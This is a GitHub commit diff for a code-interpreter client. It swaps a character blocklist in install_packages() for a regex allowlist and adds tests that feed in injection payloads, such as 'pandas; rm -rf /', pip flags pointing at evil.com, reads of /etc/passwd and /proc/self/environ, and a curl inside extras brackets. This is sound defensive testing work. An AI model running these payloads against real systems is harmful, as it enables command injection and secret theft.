Skip to content

Commit ed953b5

Browse files
authored
fix: replace blocklist with allowlist for install_packages() package validation (#403)
1 parent df9a21d commit ed953b5

2 files changed

Lines changed: 141 additions & 8 deletions

File tree

src/bedrock_agentcore/tools/code_interpreter_client.py

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66

77
import base64
88
import logging
9+
import re
910
import uuid
1011
from contextlib import contextmanager
1112
from typing import Any, Dict, Generator, List, Optional, Union
@@ -19,6 +20,10 @@
1920
from .config import Certificate
2021

2122
DEFAULT_IDENTIFIER = "aws.codeinterpreter.v1"
23+
24+
VALID_PACKAGE_NAME = re.compile(
25+
r"^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$"
26+
)
2227
DEFAULT_TIMEOUT = 900
2328

2429

@@ -600,10 +605,10 @@ def install_packages(
600605
if not packages:
601606
raise ValueError("At least one package name must be provided")
602607

603-
# Sanitize package names (basic validation)
608+
# Validate package names against allowlist pattern
604609
for pkg in packages:
605-
if any(char in pkg for char in [";", "&", "|", "`", "$"]):
606-
raise ValueError(f"Invalid characters in package name: {pkg}")
610+
if not VALID_PACKAGE_NAME.match(pkg):
611+
raise ValueError(f"Invalid package name: {pkg}")
607612

608613
packages_str = " ".join(packages)
609614
upgrade_flag = "--upgrade " if upgrade else ""

tests/bedrock_agentcore/tools/test_code_interpreter_client.py

Lines changed: 133 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -984,23 +984,23 @@ def test_install_packages_invalid_characters_error(
984984
client.session_id = "test-session-id"
985985

986986
# Act & Assert - semicolon
987-
with pytest.raises(ValueError, match="Invalid characters in package name"):
987+
with pytest.raises(ValueError, match="Invalid package name"):
988988
client.install_packages(["pandas; rm -rf /"])
989989

990990
# Act & Assert - pipe
991-
with pytest.raises(ValueError, match="Invalid characters in package name"):
991+
with pytest.raises(ValueError, match="Invalid package name"):
992992
client.install_packages(["pandas | cat /etc/passwd"])
993993

994994
# Act & Assert - ampersand
995-
with pytest.raises(ValueError, match="Invalid characters in package name"):
995+
with pytest.raises(ValueError, match="Invalid package name"):
996996
client.install_packages(["pandas && malicious"])
997997

998998
# Act & Assert - backtick
999-
with pytest.raises(ValueError, match="Invalid characters in package name"):
999+
with pytest.raises(ValueError, match="Invalid package name"):
10001000
client.install_packages(["pandas`whoami`"])
10011001

10021002
# Act & Assert - dollar sign
1003-
with pytest.raises(ValueError, match="Invalid characters in package name"):
1003+
with pytest.raises(ValueError, match="Invalid package name"):
10041004
client.install_packages(["pandas$HOME"])
10051005

10061006
@patch("bedrock_agentcore.tools.code_interpreter_client.get_control_plane_endpoint")
@@ -1624,3 +1624,131 @@ def test_create_code_interpreter_without_certificates(
16241624
# Assert — certificates key should NOT be in the call
16251625
call_kwargs = client.control_plane_client.create_code_interpreter.call_args[1]
16261626
assert "certificates" not in call_kwargs
1627+
1628+
1629+
@patch("bedrock_agentcore.tools.code_interpreter_client.get_control_plane_endpoint")
1630+
@patch("bedrock_agentcore.tools.code_interpreter_client.get_data_plane_endpoint")
1631+
@patch("bedrock_agentcore.tools.code_interpreter_client.boto3")
1632+
class TestInstallPackagesAllowlist:
1633+
"""Verify install_packages() rejects all flag-injection and shell-injection
1634+
payloads, and still accepts legitimate package specs.
1635+
1636+
Tests call install_packages() end-to-end so the full validation path is
1637+
exercised. The extras-bracket cases are marked xfail because the current
1638+
regex uses '.*' inside the brackets and does not yet restrict that group.
1639+
"""
1640+
1641+
def _client(self, mock_boto3):
1642+
mock_session = MagicMock()
1643+
mock_session.client.return_value = MagicMock()
1644+
mock_boto3.Session.return_value = mock_session
1645+
client = CodeInterpreter("us-west-2")
1646+
client.identifier = "test.identifier"
1647+
client.session_id = "test-session-id"
1648+
return client
1649+
1650+
# ------------------------------------------------------------------ #
1651+
# Pip flag injection #
1652+
# ------------------------------------------------------------------ #
1653+
@pytest.mark.parametrize(
1654+
"pkg",
1655+
[
1656+
"-r",
1657+
"-i",
1658+
"-e",
1659+
"-f",
1660+
"-c",
1661+
"--index-url",
1662+
"--extra-index-url",
1663+
"--find-links",
1664+
"--trusted-host",
1665+
"--no-deps",
1666+
"--pre",
1667+
"--upgrade",
1668+
"--require-hashes",
1669+
# flag + value as a single element
1670+
"--index-url http://evil.com",
1671+
"--extra-index-url http://evil.com",
1672+
"-r /etc/passwd",
1673+
"-r /proc/self/environ",
1674+
],
1675+
)
1676+
def test_pip_flags_blocked(self, mock_boto3, mock_get_data_endpoint, mock_get_control_endpoint, pkg):
1677+
client = self._client(mock_boto3)
1678+
with pytest.raises(ValueError, match="Invalid package name"):
1679+
client.install_packages([pkg])
1680+
1681+
# ------------------------------------------------------------------ #
1682+
# Shell metacharacter and path injection #
1683+
# ------------------------------------------------------------------ #
1684+
@pytest.mark.parametrize(
1685+
"pkg",
1686+
[
1687+
"pandas; rm -rf /",
1688+
"pandas | cat /etc/passwd",
1689+
"pandas && malicious",
1690+
"pandas`whoami`",
1691+
"pandas$HOME",
1692+
# two packages smuggled as one argument
1693+
"pandas numpy",
1694+
# path traversal
1695+
"/etc/passwd",
1696+
"../../../etc/passwd",
1697+
# newline splitting the pip command
1698+
"pandas\n--extra-index-url http://evil.com",
1699+
"pandas\nrm -rf /",
1700+
],
1701+
)
1702+
def test_shell_and_path_injection_blocked(self, mock_boto3, mock_get_data_endpoint, mock_get_control_endpoint, pkg):
1703+
client = self._client(mock_boto3)
1704+
with pytest.raises(ValueError, match="Invalid package name"):
1705+
client.install_packages([pkg])
1706+
1707+
# ------------------------------------------------------------------ #
1708+
# Extras bracket injection — xfail: '.*' in extras not yet restricted #
1709+
# ------------------------------------------------------------------ #
1710+
@pytest.mark.xfail(reason="extras group uses '.*' — arbitrary content not yet restricted")
1711+
@pytest.mark.parametrize(
1712+
"pkg",
1713+
[
1714+
"pandas[; cat /etc/passwd]",
1715+
"numpy[$(id)]",
1716+
"scipy[&& curl http://evil.com]",
1717+
"requests[| whoami]",
1718+
],
1719+
)
1720+
def test_extras_injection_blocked(self, mock_boto3, mock_get_data_endpoint, mock_get_control_endpoint, pkg):
1721+
client = self._client(mock_boto3)
1722+
with pytest.raises(ValueError, match="Invalid package name"):
1723+
client.install_packages([pkg])
1724+
1725+
# ------------------------------------------------------------------ #
1726+
# Valid package specs — must continue to be accepted #
1727+
# ------------------------------------------------------------------ #
1728+
@pytest.mark.parametrize(
1729+
"pkg",
1730+
[
1731+
"pandas",
1732+
"numpy",
1733+
"scikit-learn",
1734+
"my_package",
1735+
"package.name",
1736+
"A",
1737+
"Package123",
1738+
"pandas[excel]",
1739+
"requests[security]",
1740+
"requests[security,socks]",
1741+
"numpy>=1.0",
1742+
"scipy==1.7.*",
1743+
"pandas!=2.0",
1744+
"requests~=2.28",
1745+
"urllib3<2.0",
1746+
"numpy>1.0",
1747+
"pandas[excel]>=1.5",
1748+
],
1749+
)
1750+
def test_valid_packages_accepted(self, mock_boto3, mock_get_data_endpoint, mock_get_control_endpoint, pkg):
1751+
client = self._client(mock_boto3)
1752+
client.data_plane_client.invoke_code_interpreter.return_value = {"stream": []}
1753+
# Should not raise
1754+
client.install_packages([pkg])

0 commit comments

Comments
 (0)